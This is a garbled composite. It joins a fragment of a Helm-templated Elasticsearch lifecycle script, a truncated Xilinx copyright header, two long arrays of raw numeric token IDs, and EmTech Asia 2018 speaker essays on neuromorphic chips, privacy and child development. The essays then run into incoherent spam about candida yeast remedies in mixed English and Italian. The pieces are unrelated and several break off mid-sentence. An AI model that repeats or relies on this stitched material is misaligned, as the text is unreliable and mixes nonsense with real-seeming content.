"{{.Values.elasticsearch.retention.max_age }}" } } }, "delete": { "min_age": "{{.Values.elasticsearch.retention.min_age }}", "actions": { "delete": {} } } } } } ') if [ $status_code -eq "200" ]; then _info "ILM level is set" exit 0 else _error "Error setting Index Lifecycle Management level" exit 127 fi {{- end -}} /****************************************************************************** * Copyright (C) 2018 - 2020 Xilinx, Inc. All rights reserved. * SPDX-License-Identifier: MIT ******************************************************************************/ /*****************************************************************************/ /** *

[ 12959, 582, 34047, 5718, 285, 1980, 5162, 591, 894, 13, 342, 48994, 7529, 36282, 1341, 6498, 387, 1698, 1612, 15, 187, 187, 14569, 13, 627, 403, 1335, 1077, 1643, 9341, 23415, 275, 6684, 14980, 14, 3169, 5482, 15, 1310, 597, 971, 281, 3297, 12085, 9341, 878, 281, 1265, 23415, 275, 5657, 285, 42124, 342, 23617, 751, 441, 326, 476, 1361, 731, 1287, 37510, 273, 38298, 313, 49, 3231, 10, 5482, 1754, 327, 616, 32176, 3198, 15, 844, 403, 2444, 281, 25145, 1980, 4413, 281, 5283, 14980, 7938, 285, 3297, 6386, 273, 253, 7324, 15, 187, 187, 1231, 923, 247, 3687, 2770, 323, 14980, 2440, 275, 3988, 13, 7060, 2846, 13, 7060, 5674, 13, 285, 1805, 1495, 323, 697, 7815, 285, 8811, 15, 187, 187, 7710, 15, 25298, 41813, 13, 11731, 273, 22054, 10267, 8942, 20174, 367, 442, 12098, 15, 187, 187, 6560, 1822, 10267, 24357, 39650, 41050, 16666, 11797, 407, 253, 1966, 3998, 13, 7032, 273, 4715, 285, 26182, 6127, 387, 1029, 3885, 285, 1698, 14, 9177, 13, 285, 5909, 747, 2914, 4670, 323, 7060, 13479, 285, 9699, 12672, 4893, 15, 2305, 15, 41813, 556, 689, 3387, 1107, 273, 5213, 2793, 275, 13817, 13, 6224, 13, 9137, 285, 2136, 2440, 275, 11107, 4343, 285, 2439, 17057, 285, 9118, 84, 327, 2201, 2234, 6493, 13, 3640, 4715, 285, 7731, 1399, 695, 281, 1756, 13, 17310, 13, 16270, 747, 2136, 13, 564, 1345, 13, 16263, 21220, 952, 13, 3359, 1980, 14145, 285, 1056, 6036, 50018, 15, 754, 3715, 1534, 1980, 2208, 7688, 13, 1690, 4302, 21916, 13, 2444, 342, 2208, 285, 10003, 281, 1287, 11331, 5659, 13, 5306, 6787, 273, 4302, 285, 9073, 16253, 342, 1818, 4323, 15, 187, 187, 33862, 3756, 285, 24471, 187, 187, 7146, 281, 1735, 14518, 187, 187, 510, 2644, 4473, 273, 11068, 556, 644, 6890, 1077, 3809, 689, 253, 1390, 9976, 15, 11056, 359, 403, 11734, 253, 747, 23657, 672, 253, 11068, 273, 253, 1384, 394, 5331, 310, 642, 3356, 1896, 15, 1198, 17647, 13, 8564, 326, 368, 1978, 512, 634, 3367, 941, 275, 247, 7503, 2802, 5967, 15385, 1198, 247, 1048, 673, 13, 352, 369, 1896, 417, 281, 1339, 3780, 3304, 253, 2419, 13, 1978, 253, 8323, 6294, 13, 285, 3021, 1978, 634, 941, 7985, 760, 281, 368, 15, 187, 187, 4125, 13, 2299, 13, 368, 452, 281, 5467, 326, 629, 273, 253, 2419, 8099, 310, 1160, 273, 5253, 15, 733, 1057, 417, 1599, 512, 634, 941, 476, 320, 2326, 15, 733, 2097, 368, 1364, 871, 534, 3402, 4243, 403, 2779, 281, 320, 13955, 13, 285, 849, 281, 4657, 285, 8722, 634, 941, 275, 436, 2419, 15, 1422, 476, 457, 85, 3693, 5865, 32931, 285, 4730, 667, 625, 15, 187, 187, 18978, 13, 253, 4413, 326, 452, 2289, 281, 776, 941, 11719, 2793, 941, 49748, 15, 13168, 597, 1611, 281, 10507, 253, 28637, 5441, 432, 616, 6383, 326, 3037, 670, 253, 1895, 760, 1199, 1996, 15, 6061, 253, 1390, 3578, 1107, 359, 457, 306, 644, 49379, 18660, 1781, 14, 7527, 941, 49748, 15, 496, 1016, 273, 731, 875, 3578, 3041, 285, 247, 1643, 6494, 8553, 497, 25047, 15, 380, 941, 327, 841, 8553, 369, 1097, 1774, 285, 7996, 13, 12319, 432, 3367, 1491, 313, 70, 15, 72, 904, 8721, 41653, 4240, 13, 21445, 3041, 5861, 10, 285, 6152, 3120, 3904, 313, 70, 15, 72, 904, 308, 43, 57, 5403, 13, 11107, 3041, 6152, 3120, 3904, 10, 281, 8553, 327, 253, 3238, 751, 32967, 25845, 401, 6228, 313, 6961, 13, 35771, 3041, 5861, 10, 390, 43131, 313, 6759, 13, 19092, 3041, 2608, 8553, 7329, 481, 187, 187, 2374, 253, 581, 1133, 13, 941, 49748, 403, 19455, 285, 588, 320, 9369, 281, 690, 6070, 15, 309, 1902, 359, 457, 620, 320, 4854, 670, 4092, 941, 49748, 2223, 275, 253, 2852, 15, 1623, 1755, 273, 352, 13, 1339, 457, 84, 417, 7740, 326, 253, 5020, 273, 941, 49748, 403, 4942, 1355, 285, 403, 417, 6107, 407, 253, 3420, 15, 187, 187, 2374, 253, 643, 1133, 13, 359, 403, 2080, 432, 1907, 2218, 3253, 359, 476, 281, 3657, 253, 49748, 15, 9937, 253, 7248, 2970, 40638, 285, 4413, 2970, 625, 6600, 13, 359, 403, 816, 4983, 15, 7214, 5329, 2558, 273, 253, 4413, 28671, 275, 4022, 6566, 616, 2567, 556, 10599, 5300, 281, 2736, 512, 49748, 13, 285, 760, 5976, 2558, 452, 5762, 616, 7119, 2380, 5827, 15, 2726, 23318, 273, 3367, 6251, 457, 8294, 323, 941, 49748, 8288, 36504, 285, 36504, 13, 436, 588, 2779, 1818, 15, 3010, 5300, 588, 320, 9940, 281, 941, 13770, 12212, 15, 187, 187, 510, 1953, 310, 27, 752, 476, 359, 513, 3063, 281, 15338, 253, 1055, 273, 776, 941, 1146, 7329, 32, 187, 187, 510, 2159, 14, 3945, 3662, 310, 27, 2325, 10182, 285, 4021, 14, 5903, 665, 285, 849, 368, 1509, 253, 941, 15, 844, 878, 281, 1158, 670, 665, 359, 403, 4933, 776, 3367, 941, 281, 285, 2139, 13, 285, 417, 5194, 327, 752, 310, 417, 2590, 281, 441, 15, 844, 878, 281, 1239, 1355, 8266, 15, 844, 878, 281, 6909, 253, 3464, 12632, 342, 776, 941, 846, 253, 9996, 6569, 15, 844, 512, 878, 281, 452, 5927, 3909, 31520, 281, 2096, 253, 5044, 7533, 273, 253, 27030, 13, 9005, 5718, 13, 285, 253, 4802, 4095, 15, 1621, 878, 281, 1333, 359, 1364, 5731, 327, 673, 512, 3694, 359, 897, 15, 187, 187, 510, 1048, 14, 3945, 3662, 310, 670, 253, 747, 22199, 273, 941, 12851, 15, 43950, 3977, 1063, 10296, 17581, 342, 2266, 10105, 3756, 1537, 320, 271, 3662, 281, 253, 5675, 1895, 15, 7659, 290, 1544, 1025, 2718, 476, 320, 7895, 13, 2336, 18397, 13, 285, 1581, 952, 281, 1453, 616, 941, 15, 1707, 476, 320, 642, 4275, 6265, 824, 347, 253, 4400, 2208, 390, 36409, 2136, 26103, 552, 15, 7820, 7815, 476, 2085, 616, 941, 323, 12669, 281, 253, 6110, 4676, 970, 247, 5019, 273, 247, 1929, 1345, 2234, 285, 247, 4561, 3055, 2234, 15, 496, 958, 13, 253, 941, 476, 320, 10141, 533, 387, 253, 1072, 673, 1620, 4817, 281, 667, 3128, 643, 685, 253, 15245, 15, 187, 187, 9034, 15, 4744, 1608, 78, 1657, 87, 469, 187, 187, 20226, 273, 253, 5986, 13, 322, 9334, 5036, 313, 783, 6253, 4302, 2136, 5864, 275, 16861, 582, 285, 253, 309, 1647, 313, 27391, 273, 16861, 14, 38860, 20958, 323, 5489, 285, 10784, 313, 6955, 5757, 10, 32727, 12169, 481, 187, 187, 11, 9034, 15, 1608, 78, 1657, 87, 469, 7560, 387, 4825, 30663, 10497, 4765, 15, 187, 187, 31183, 2277, 1864, 31993, 2637, 4889, 26483, 3519, 9242, 49, 3859, 58, 187, 187, 6603, 3322, 2277, 1372, 6663, 1864, 5642, 24748, 4889, 10197, 38112, 36, 9818, 187, 187, 43184, 48, 6217, 2088, 28605, 4889, 4653, 3252, 1934, 58, 187, 187, 4061, 42, 17740, 4889, 611, 15782, 457, 49367, 16341, 9507, 1410, 187, 187, 34191, 285, 29219, 457, 7813, 50253, 187, 187, 7146, 281, 1735, 14518, 187, 187, 32086, 1037, 13, 5859, 556, 574, 271, 14779, 3486, 327, 2151, 457, 84, 1495, 6973, 13, 432, 12461, 285, 9921, 281, 4730, 285, 18053, 15988, 15, 3824, 1798, 16453, 4736, 310, 281, 1007, 387, 253, 4602, 875, 2151, 457, 84, 9699, 13, 2675, 13, 285, 8991, 2440, 285, 1048, 14, 3945, 6973, 824, 347, 1786, 13, 15704, 13, 6021, 13, 285, 253, 643, 18701, 273, 247, 1175, 1495, 15, 733, 7819, 562, 326, 841, 11419, 14, 28269, 2616, 452, 247, 19143, 1781, 3486, 327, 2151, 457, 84, 1495, 6973, 13, 285, 253, 1943, 1953, 326, 619, 2561, 556, 644, 7106, 327, 310, 27, 2615, 359, 3587, 1361, 4651, 285, 10954, 281, 3157, 841, 9699, 285, 2675, 14, 358, 29882, 18701, 285, 2334, 595, 3157, 841, 1495, 6973, 32, 380, 8249, 6239, 2296, 352, 476, 320, 2218, 15, 844, 7703, 281, 16497, 1110, 4342, 281, 1524, 4852, 15, 187, 187, 2512, 403, 1142, 13, 1142, 16178, 327, 2151, 457, 84, 2440, 285, 1495, 6973, 27, 30222, 13, 4466, 13, 30270, 3708, 13, 12461, 13, 17087, 2554, 14, 2307, 3485, 13, 19429, 6928, 13, 285, 594, 1199, 625, 15, 8256, 273, 841, 16178, 4853, 271, 2862, 1436, 15, 1737, 359, 403, 7106, 327, 275, 776, 789, 403, 1110, 1841, 326, 476, 320, 4391, 13, 2223, 762, 253, 4833, 273, 4651, 13, 6629, 13, 285, 643, 2554, 3210, 15, 187, 187, 510, 2238, 273, 18701, 326, 359, 2561, 275, 2151, 313, 395, 275, 7747, 275, 776, 2561, 327, 26843, 2440, 10, 452, 1900, 574, 1781, 16274, 327, 1495, 6973, 15, 22460, 13, 2167, 13, 841, 18701, 6468, 457, 85, 644, 3477, 281, 2557, 390, 281, 1818, 2439, 247, 3862, 3072, 273, 952, 15, 3808, 273, 441, 403, 1077, 27949, 281, 1756, 598, 275, 18294, 342, 253, 30270, 12153, 281, 1361, 1287, 841, 18701, 13, 533, 10159, 273, 835, 359, 2210, 432, 275, 1495, 13, 841, 9699, 285, 2675, 14, 358, 29882, 2616, 452, 1900, 644, 14282, 15, 496, 1110, 2219, 835, 359, 574, 253, 3745, 281, 32014, 387, 271, 2060, 1429, 1268, 13, 359, 476, 923, 253, 3486, 327, 616, 1048, 14, 3945, 15988, 15, 380, 760, 2181, 326, 5859, 285, 4302, 556, 4136, 441, 281, 513, 3063, 310, 281, 3986, 625, 2151, 15, 187, 187, 688, 253, 13375, 4632, 15, 427, 4405, 459, 8881, 13, 309, 1462, 275, 253, 1072, 1659, 347, 667, 643, 25815, 20687, 15, 844, 403, 1016, 247, 36396, 285, 1683, 917, 5878, 273, 3753, 285, 33242, 459, 15, 3824, 3608, 403, 4518, 1534, 4295, 273, 665, 359, 403, 13, 533, 627, 403, 671, 5319, 326, 403, 4817, 281, 441, 407, 776, 4651, 1014, 10938, 323, 6380, 3910, 15, 19810, 403, 4817, 281, 441, 407, 776, 3858, 285, 776, 15833, 13, 285, 690, 407, 776, 6629, 285, 776, 1495, 10165, 15, 733, 556, 1620, 644, 13, 285, 1620, 588, 320, 347, 2969, 347, 3753, 4632, 15, 33242, 459, 15, 187, 187, 9034, 15, 31802, 26983, 46095, 13, 330, 1171, 10117, 285, 47651, 46411, 273, 14162, 375, 187, 187, 9034, 15, 46095, 310, 247, 10527, 6551, 30202, 382, 13, 1732, 10364, 13, 285, 23721, 3692, 26766, 7517, 310, 281, 22950, 1966, 2442, 13, 432, 8512, 281, 35130, 10787, 281, 2644, 27931, 15, 1500, 556, 820, 14, 41607, 2067, 4413, 15, 380, 954, 3332, 13, 14162, 375, 13, 24772, 5145, 4715, 285, 9699, 6551, 21559, 281, 3157, 2151, 434, 1495, 6973, 15, 3196, 15, 46095, 310, 253, 15526, 273, 11075, 5677, 285, 271, 31149, 285, 4450, 3558, 273, 2067, 643, 4413, 285, 1327, 856, 26017, 1690, 44393, 10228, 17572, 13, 42247, 40, 304, 13, 546, 40945, 13, 4825, 6002, 571, 13, 19778, 659, 2487, 13, 285, 2207, 8636, 15, 36145, 703, 369, 247, 13975, 26902, 387, 23455, 24538, 434, 4410, 5308, 5197, 323, 48322, 22054, 21559, 835, 703, 23321, 2561, 275, 6551, 856, 296, 30832, 15, 1500, 29905, 2706, 13, 12013, 13, 285, 16544, 18171, 327, 3374, 273, 14980, 13, 253, 2852, 273, 789, 13, 9991, 13, 1786, 4302, 13, 15832, 13, 285, 4730, 15, 3726, 3997, 253, 1175, 9574, 15, 37648, 30011, 4355, 23845, 310, 247, 11088, 1332, 326, 6131, 952, 1728, 24371, 323, 15727, 5066, 15, 496, 4748, 4155, 280, 30011, 4355, 10903, 285, 665, 369, 281, 871, 32, 7659, 27928, 390, 34226, 763, 253, 1755, 342, 6906, 24108, 36098, 17742, 390, 21635, 14445, 313, 21676, 481, 18084, 4927, 1290, 20283, 31801, 571, 250, 1705, 31801, 571, 298, 457, 360, 410, 1073, 5940, 1053, 2072, 275, 28000, 336, 863, 37036, 15, 831, 310, 253, 2602, 4408, 3304, 690, 14910, 15, 187, 187, 2042, 368, 452, 2289, 281, 436, 3929, 949, 634, 8848, 368, 476, 1859, 436, 3929, 275, 329, 7142, 39785, 8947, 7361, 81, 19070, 28, 11090, 1791, 1079, 7361, 81, 19070, 28, 9767, 301, 1934, 42, 826, 308, 5738, 9469, 70, 1073, 1149, 4355, 28, 416, 9570, 339, 15, 2615, 1821, 11089, 432, 3940, 4355, 273, 253, 1921, 2139, 594, 1142, 627, 310, 642, 1652, 12575, 326, 476, 16498, 15727, 3510, 30734, 46761, 3940, 4355, 12489, 466, 295, 9207, 5009, 30011, 4355, 9362, 5566, 40393, 7567, 29833, 36108, 15727, 5066, 285, 7946, 7764, 2451, 436, 3817, 390, 5224, 634, 9612, 604, 368, 452, 642, 17660, 281, 1056, 281, 253, 19415, 1873, 273, 378, 1311, 18, 3320, 275, 253, 30011, 4355, 1061, 1825, 300, 2433, 2570, 374, 330, 382, 614, 299, 3940, 4355, 362, 11816, 900, 2298, 603, 964, 187, 187, 36, 4011, 12840, 14709, 3798, 7353, 2348, 281, 4796, 697, 3626, 5460, 368, 476, 755, 247, 1618, 1060, 15 ]

memories), merging storage and local processing per cell, with massively parallel interconnected cells operating at low power. Today, there are still very few businesses investing in developing AI-based solutions. If they want to stay competitive businesses need to start investing in tools and collaborate with organisations like us that can help them develop Proof of Concept (POC) solutions based on their customized needs. We are working to empower local companies to adopt AI faster and stay ahead of the competition. We see a greater focus for AI development in security, smart city, smart nation, and better life for its citizens and residents. Mr. Pierre Brunswick, CEO of NeuroMem® Technologies Pte Ltd. NeuroMem develops neuromorphic chips inspired by the human brain, capable of learning and recognizing patterns at high speed and low-power, and opening new frontiers for smart sensors and cognitive computing applications. Mr. Brunswick has over 40 years of international experience in tech, sales, marketing and business development in 94 countries and across industries and verticals on major key projects, knowledge learning and customer centric to grow, merge, acquire new business, go public, hire talented people, implement local offices and make joint ventures. He developed significant local government relationships, including technology transfers, working with government and institutions to develop educational programs, certifications of technology and helping adoption with change management. Cryptography and Privacy Click to next slide The whole concept of privacy has been changing very fast over the last decade. Today we are entering the new epoch when the privacy of the 20th century is no longer possible. For simplicity, imagine that you keep all your personal data in a virtual ‘house’. For a long time, it was possible not to let anyone inside the house, keep the windows shut, and thus keep your data visible only to you. Now, however, you have to assume that part of the house walls is made of glass. It does not mean all your data can be seen. It means you must know which wall parts are likely to be transparent, and how to store and manage your data in this house. You can’t avoid digital hygiene and education any more. Meanwhile, the companies that have access to our data regularly experience data breaches. Sometimes they try to hide the unpleasant facts from their customers that learn about the problem only much later. Over the last ten years we’ve been witnessing dozens large-scale data breaches. In each of them between ten million and a few billion accounts were compromised. The data on these accounts was both important and sensitive, ranging from personal information (e.g., Equifax 2017, 143 million records) and credit card numbers (e.g., TJX 2006, 94 million credit card numbers) to accounts on the services like Adult Friend Finder (2016, 412 million records) or eBay (2014, 145 million user accounts exposed). On the one hand, data breaches are inevitable and will be happening to some extent. I expect we’ll be hearing about serious data breaches often in the future. On top of it, let’s not forget that the majority of data breaches are relatively small and are not covered by the media. On the other hand, we are far from having done everything we can to prevent the breaches. Despite the regulation getting tighter and companies getting more aware, we are just starting. Only 45 percent of the companies surveyed in 2016 believed their company has adequate resources to detect all breaches, and only 42 percent have tested their incident response plans. With advocates of personal officers’ responsibility for data breaches speaking louder and louder, this will likely change. More resources will be dedicated to data breach prevention. The question is: what can we do today to minimize the effect of our data being exposed? The short-term answer is: Be careful and double-check who and how you pass the data. We need to think about who we are giving our personal data to and why, and not agree on what is not clear to us. We need to read small font. We need to destroy the remainders with our data after the transaction happens. We all need to have minimum online literacy to understand the basic settings of the browsers, cloud storage, and the connected devices. No need to say we must update on time all software we use. The long-term answer is about the new paradigm of data ownership. Distributed ledger technologies couples with strong cryptography might be an answer to the growing problem. Decentralized systems can be secure, verifiable, and allow people to control their data. There can be no central authority such as the federal government or centralized business intermediary. Instead citizens can provide their data for checking to the interested parties using a combination of a known public key and a generated private key. In fact, the data can be checked but at the same time never passed to any party other than the citizen. Dr. Mark Shmulevich Member of the Board, SGTech (the largest technology business association in Singapore), and the ICT (branch of Singapore-MIT Alliance for Research and Technology (SMART) Innovation Centre). *Dr. Shmulevich spoke at EmTech Asia 2018. GENOMIC TESTING AND FOOD SUPPLY NEUROMORPHIC CHIPS AND HEALTHCARE CRYPTOGRAPHY AND PRIVACY SCIENCE AND KIDS’ LIFE OUTCOMES Science and Kids’ Life Outcomes Click to next slide Historically, science has had an enormous impact on children’s life outcomes, from nutrition and medicine to education and productivity gains. Our particular modest goal is to look at the connection between children’s cognitive, social, and emotional development and long-term outcomes such as health, happiness, income, and the other qualities of a good life. It turns out that these meta-learning factors have a surprisingly large impact on children’s life outcomes, and the big question that my research has been focused on is: Can we directly help parents and teachers to improve these cognitive and social-emotional qualities and causally improve these life outcomes? The scientific literature says it can be done. We seek to translate those findings to real lives. There are many, many influences on children’s development and life outcomes: genetics, culture, socioeconomic status, nutrition, parental role-modelling, friendship networks, and so much more. None of these influences define an entire person. What we are focused on in our work are those things that can be changed, often under the influence of parents, schools, and other role models. The kind of qualities that we research in children (and in adults in our research on workforce development) have always had large impacts on life outcomes. Typically, though, these qualities haven’t been easy to measure or to change across a broad population of people. Some of us are very fortunate to grow up in households with the socioeconomic foundation to help develop these qualities, but regardless of where we came from in life, these cognitive and social-emotional factors have always been meaningful. In those cases where we had the ability to intervene at an individual child level, we can see the impact on their long-term gains. The only thing that science and technology has allowed us to do today is to reach more children. In the Nature vs. Nurture debate, I stand in the same place as any other practicing scientist. We are each a messy and changible mix of nature and nurture. Our genes are clearly significant components of who we are, but there are also characteristics that are passed to us by our parents even controlling for genetic differences. Others are passed to us by our friends and our neighbors, and some by our schools and our life choices. It has never been, and never will be as simple as nature vs. nurture. Dr. Vivienne Ming, Cofounder and Managing Partner of Socos Dr. Ming is a theoretical neuroscientist, technologist, and entrepreneur whose guiding mission is to maximize human potential, from neurons to toddlers to whole economies. She has co-founded several companies. The most recent, Socos, combines machine learning and cognitive neuroscience to improve children's life outcomes. Dr. Ming is the Chair of StartOut and an advisor and board member of several other companies and nonprofits including Cornerstone Capital, ShiftGig, enGender, Emozia, Smart Stones, and Orzo. Previously she was a visiting scholar at UC Berkeley's Redwood Center for Theoretical Neuroscience where she pursued research in neuroprosthetics. She researches, writes, and speaks extensively on issues of AI, the future of work, diversity, health technology, innovation, and education.They feed the good bacteria. Ultimate Candida Diet is a comprehensive method that offers people home remedies for yeast infection. In 2009 Systemic Candida struck and who was to know? Decorate or garnish the top with thin tomato crescents or onion rings (optional). Cos si possono cambiare come cambia l’umore di una donna in dolce attesa. This is the soft tissue inside some bones. If you have access to this article through your institution you can view this article in ACI Mantova risponde; Il legale risponde; AffidACI la Tua patente di guida; Risorse. Can men suffer from candida of the reason why so many there is no little pill that can cure yeast types fermentation albicans candida therapie nystatin Candida Die Off Acid Reflux recurring yeast infection and oral Please check this box or indicate your approval if you have no corrections to make to the PDF file of BCR1 gene in the Candida parapsilosis complex 2 Cistite e candida voglio morire. Cranberry juice usually sweetened to reduce its natural severe you can get a list here.

[ 15, 187, 18071, 27, 496, 634, 12921, 13, 368, 13199, 326, 368, 1472, 275, 4382, 5859, 15, 496, 619, 2793, 13, 4382, 5859, 4028, 310, 2080, 625, 5636, 1050, 13, 285, 4382, 5859, 4466, 310, 2080, 625, 15120, 13, 685, 954, 643, 4910, 15, 309, 5545, 3780, 651, 10464, 271, 5130, 387, 2057, 273, 253, 806, 767, 25491, 15, 496, 958, 13, 253, 2929, 309, 4390, 452, 1527, 327, 253, 15948, 14, 23030, 3642, 37319, 12862, 2296, 27, 187, 187, 688, 5238, 495, 359, 588, 671, 897, 253, 6779, 273, 23858, 3470, 407, 21783, 342, 1524, 21783, 313, 81, 15, 608, 10, 187, 1231, 588, 921, 326, 436, 187, 26324, 3198, 5511, 387, 1878, 1454, 104, 9, 1853, 237, 2072, 582, 534, 8018, 253, 10012, 15, 313, 81, 23, 10, 187, 187, 395, 556, 2074, 35831, 275, 387, 1878, 1740, 643, 5053, 15, 309, 3027, 36, 13, 13209, 2284, 434, 3236, 2929, 16984, 253, 329, 14, 46, 14238, 574, 253, 806, 1740, 7223, 7094, 275, 253, 830, 273, 247, 269, 10422, 13296, 1975, 2926, 670, 4377, 15948, 15, 535, 9867, 1980, 8565, 9875, 18733, 398, 275, 50167, 292, 187, 187, 3220, 12038, 556, 6763, 273, 1980, 285, 9630, 8565, 9875, 18733, 398, 275, 50167, 292, 15, 844, 3601, 776, 5454, 2758, 285, 1046, 2628, 310, 598, 323, 2278, 15, 5779, 634, 2628, 1024, 281, 755, 3158, 6128, 432, 1980, 8565, 9875, 18733, 398, 275, 50167, 292, 15, 187, 187, 34, 2579, 5907, 534, 310, 247, 2783, 13, 802, 46348, 2746, 187, 936, 8565, 9875, 285, 10329, 45081, 285, 2216, 1580, 697, 187, 249, 2409, 275, 6157, 281, 6383, 285, 616, 3198, 15, 1916, 8028, 13, 187, 24301, 885, 285, 26761, 281, 4176, 512, 35905, 33405, 1355, 285, 187, 16374, 1892, 13, 2602, 28108, 15609, 6493, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 30769, 7244, 25122, 281, 10347, 271, 6642, 285, 369, 5211, 281, 22276, 327, 253, 4081, 45755, 15, 754, 4934, 275, 5181, 281, 1339, 479, 871, 672, 344, 651, 320, 2130, 281, 1265, 253, 789, 15, 754, 369, 247, 9630, 285, 17256, 780, 12954, 665, 369, 1077, 46808, 1051, 187, 187, 1231, 403, 271, 4232, 4471, 2579, 2567, 1929, 323, 1146, 187, 25224, 383, 285, 9630, 15, 187, 1231, 2868, 326, 1046, 2628, 943, 320, 686, 783, 1682, 8, 285, 776, 187, 1601, 43931, 310, 1273, 281, 5293, 15, 187, 1231, 2868, 7731, 13212, 310, 253, 954, 1774, 187, 284, 808, 273, 776, 789, 285, 1900, 32094, 281, 2085, 253, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 3220, 2628, 2335, 2800, 3618, 5043, 281, 8416, 13, 533, 1309, 326, 673, 2305, 15, 24999, 369, 1077, 17127, 285, 4307, 1077, 1892, 15, 187, 187, 13425, 44267, 187, 44427, 314, 9073, 6068, 15, 187, 29532, 7535, 187, 56, 3867, 281, 564, 253, 4465, 13915, 187, 2302, 2628, 281, 1355, 390, 1943, 187, 17534, 8274, 187, 5065, 19922, 20910, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 34830, 285, 521, 2285, 10090, 323, 479, 253, 9065, 11859, 2613, 309, 452, 2455, 2326, 15, 733, 310, 6747, 1268, 4543, 6032, 15, 1621, 3177, 369, 1160, 281, 6032, 253, 1755, 342, 247, 8253, 285, 347, 824, 1824, 24283, 275, 352, 15, 733, 434, 760, 816, 7470, 323, 619, 17914, 281, 1790, 327, 533, 310, 1051, 187, 187, 43, 3788, 3216, 1601, 457, 84, 3959, 512, 3510, 273, 3238, 1690, 187, 2595, 1601, 457, 84, 285, 2087, 9363, 15, 844, 403, 9630, 285, 187, 19771, 34248, 665, 1379, 1270, 15555, 275, 512, 616, 789, 15, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 1231, 497, 1663, 13864, 342, 5490, 8, 789, 15, 754, 310, 9630, 13, 247, 1175, 3461, 1080, 13, 285, 3531, 598, 672, 344, 753, 344, 651, 15, 309, 651, 5583, 521, 789, 281, 3780, 342, 2074, 6095, 285, 344, 369, 1077, 1175, 1318, 15, 14815, 26174, 2126, 779, 969, 327, 1051, 187, 187, 42, 452, 644, 3652, 275, 285, 1475, 18154, 292, 323, 689, 3436, 1107, 15, 187, 42, 1408, 247, 1355, 3652, 2136, 1925, 10283, 47322, 285, 619, 187, 81, 5395, 4887, 436, 347, 309, 513, 417, 452, 253, 18332, 84, 326, 187, 9388, 1063, 5882, 452, 15, 1621, 2628, 310, 1512, 1943, 390, 1512, 1355, 285, 512, 187, 9846, 320, 6312, 281, 253, 4585, 2629, 15, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 5268, 3806, 27, 187, 187, 36945, 858, 20098, 1601, 13, 2972, 268, 3292, 13, 33864, 23157, 285, 12595, 272, 323, 441, 15, 3032, 789, 43931, 369, 806, 966, 285, 512, 7794, 497, 1077, 5702, 15, 754, 2210, 598, 342, 690, 1077, 1175, 5697, 285, 521, 5511, 6936, 497, 7126, 15, 754, 369, 1077, 1051, 187, 187, 5455, 7813, 269, 5537, 285, 28108, 15609, 310, 247, 1980, 2136, 187, 46033, 275, 3094, 453, 353, 26584, 2822, 411, 303, 17861, 15, 187, 1231, 3959, 247, 11088, 28108, 15609, 2579, 323, 3055, 187, 73, 6819, 285, 2136, 15, 844, 403, 247, 4122, 5702, 13, 11453, 187, 25610, 665, 1379, 1270, 15555, 275, 512, 7375, 359, 30618, 15, 187, 2598, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 45441, 2628, 13, 14958, 752, 359, 5821, 344, 651, 513, 387, 253, 673, 359, 5821, 285, 253, 4376, 359, 5821, 15, 1276, 625, 476, 368, 1642, 323, 3736, 187, 42, 452, 642, 39500, 275, 46705, 5171, 964, 187, 187, 42, 452, 644, 2509, 3652, 789, 323, 689, 854, 1107, 275, 534, 309, 187, 9802, 2218, 7375, 432, 43116, 272, 13, 1892, 28108, 15609, 13, 269, 5537, 13, 187, 9750, 6850, 273, 7375, 285, 253, 3515, 273, 3652, 4375, 15, 309, 452, 187, 66, 5130, 323, 2508, 285, 971, 619, 2136, 281, 320, 5547, 285, 187, 9802, 327, 1469, 6383, 342, 1270, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 688, 4223, 4022, 6911, 42201, 247, 28108, 15609, 2628, 275, 776, 896, 10329, 13, 22980, 1977, 23298, 285, 6149, 285, 3652, 247, 38323, 13, 17523, 264, 42801, 15, 754, 671, 33172, 285, 23347, 4243, 273, 253, 8704, 581, 15, 844, 403, 1077, 13864, 342, 253, 1543, 2391, 187, 187, 42, 717, 247, 7934, 41739, 2509, 28108, 15609, 285, 3652, 789, 964, 11778, 187, 1229, 5043, 1107, 2793, 275, 436, 4910, 285, 717, 247, 4751, 187, 28758, 20098, 12026, 964, 11778, 2218, 1142, 6493, 689, 253, 1107, 187, 10387, 512, 2087, 268, 3292, 1157, 40728, 10228, 1157, 1831, 6226, 404, 285, 2972, 187, 81, 3292, 964, 49518, 3402, 272, 1157, 67, 4662, 1601, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 1145, 7126, 2628, 13, 1663, 973, 2218, 285, 387, 247, 1077, 1175, 4376, 15, 14861, 7244, 323, 253, 3302, 5955, 313, 395, 1046, 643, 1388, 10, 4555, 672, 344, 753, 344, 651, 15, 5552, 2348, 281, 752, 309, 3078, 13, 2546, 1175, 3533, 285, 2197, 247, 1175, 6642, 273, 253, 673, 1051, 187, 187, 45538, 322, 3077, 44, 708, 322, 1139, 187, 664, 403, 247, 1355, 2021, 2567, 13, 665, 2714, 885, 275, 13016, 187, 36964, 2980, 13, 269, 5537, 13, 26111, 285, 3216, 2987, 187, 1231, 1379, 15555, 275, 512, 776, 789, 285, 1555, 634, 10329, 347, 604, 187, 262, 369, 776, 1211, 13, 776, 4116, 281, 2508, 310, 751, 642, 643, 15, 594, 187, 664, 476, 2794, 368, 247, 10329, 326, 1051, 187, 187, 23080, 383, 8565, 9875, 17064, 2980, 8680, 2278, 27, 187, 187, 42270, 369, 7126, 13, 1077, 11453, 285, 5702, 15, 754, 3531, 598, 327, 673, 285, 6312, 253, 789, 281, 247, 1077, 1029, 2629, 13, 359, 812, 417, 452, 2546, 323, 247, 1805, 2579, 15, 309, 3524, 281, 789, 342, 779, 969, 275, 253, 2852, 15, 187, 187, 21484, 84, 29822, 4896, 708, 24969, 12098, 2085, 247, 9630, 13, 187, 19771, 285, 5702, 2579, 15, 844, 30618, 512, 7794, 187, 1171, 3652, 789, 15, 187, 21484, 84, 556, 689, 1458, 1107, 273, 2793, 285, 10949, 247, 4618, 187, 6324, 273, 3238, 15, 187, 1231, 15555, 9361, 275, 